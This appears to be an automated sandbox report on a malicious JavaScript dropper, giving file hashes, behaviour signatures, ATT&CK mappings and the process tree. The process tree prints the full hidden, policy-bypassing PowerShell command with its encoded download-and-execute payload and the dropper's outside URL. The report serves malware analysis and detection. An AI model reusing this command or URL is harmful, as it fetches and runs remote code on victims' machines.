b2d23397e882e9713f3339406dd95d53999e33df6c6a379108a687854e8c37b4

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06-09-2022 16:08

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General

Target

fqt145254.js
Size

286KB
MD5

23a177986f5397d5028a1dc587b465f5
SHA1

68085cb719054e73dd3c527578ad7f89960bf649
SHA256

d167ab99ec55cea50a5723c49dcbd0031ede7b21886b32e76bd011a11ee65acb
SHA512

d839b742825a94ad82fe7cf921cb6ac9c0962bae3f0e7b9be8c7598a4f7ff28ce6218f8860f49df3b405aa5428bbba9e3903edf1983a7dcbf9c33e07eee69ddd
SSDEEP

3072:qrjVJySRCL1ddImO3NwSa0wQwRCijyQL7oebGpTLW+B57wtB:qASkdIn9lpQL7oebGRLQB

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://freedompublishingbooks.com.au/index/

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2032	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2032	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 992	1676	wscript.exe	28
PID 1676 wrote to memory of 992	1676	wscript.exe	28
PID 1676 wrote to memory of 992	1676	wscript.exe	28
PID 992 wrote to memory of 2032	992	cmd.exe	30
PID 992 wrote to memory of 2032	992	cmd.exe	30
PID 992 wrote to memory of 2032	992	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fqt145254.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2032-56-0x000007FEFC101000-0x000007FEFC103000-memory.dmp

Filesize
8KB

Download
memory/2032-57-0x000007FEF4E60000-0x000007FEF5883000-memory.dmp

Filesize
10.1MB

Download
memory/2032-59-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/2032-58-0x000007FEF4300000-0x000007FEF4E5D000-memory.dmp

Filesize
11.4MB

Download
memory/2032-60-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/2032-61-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/2032-62-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download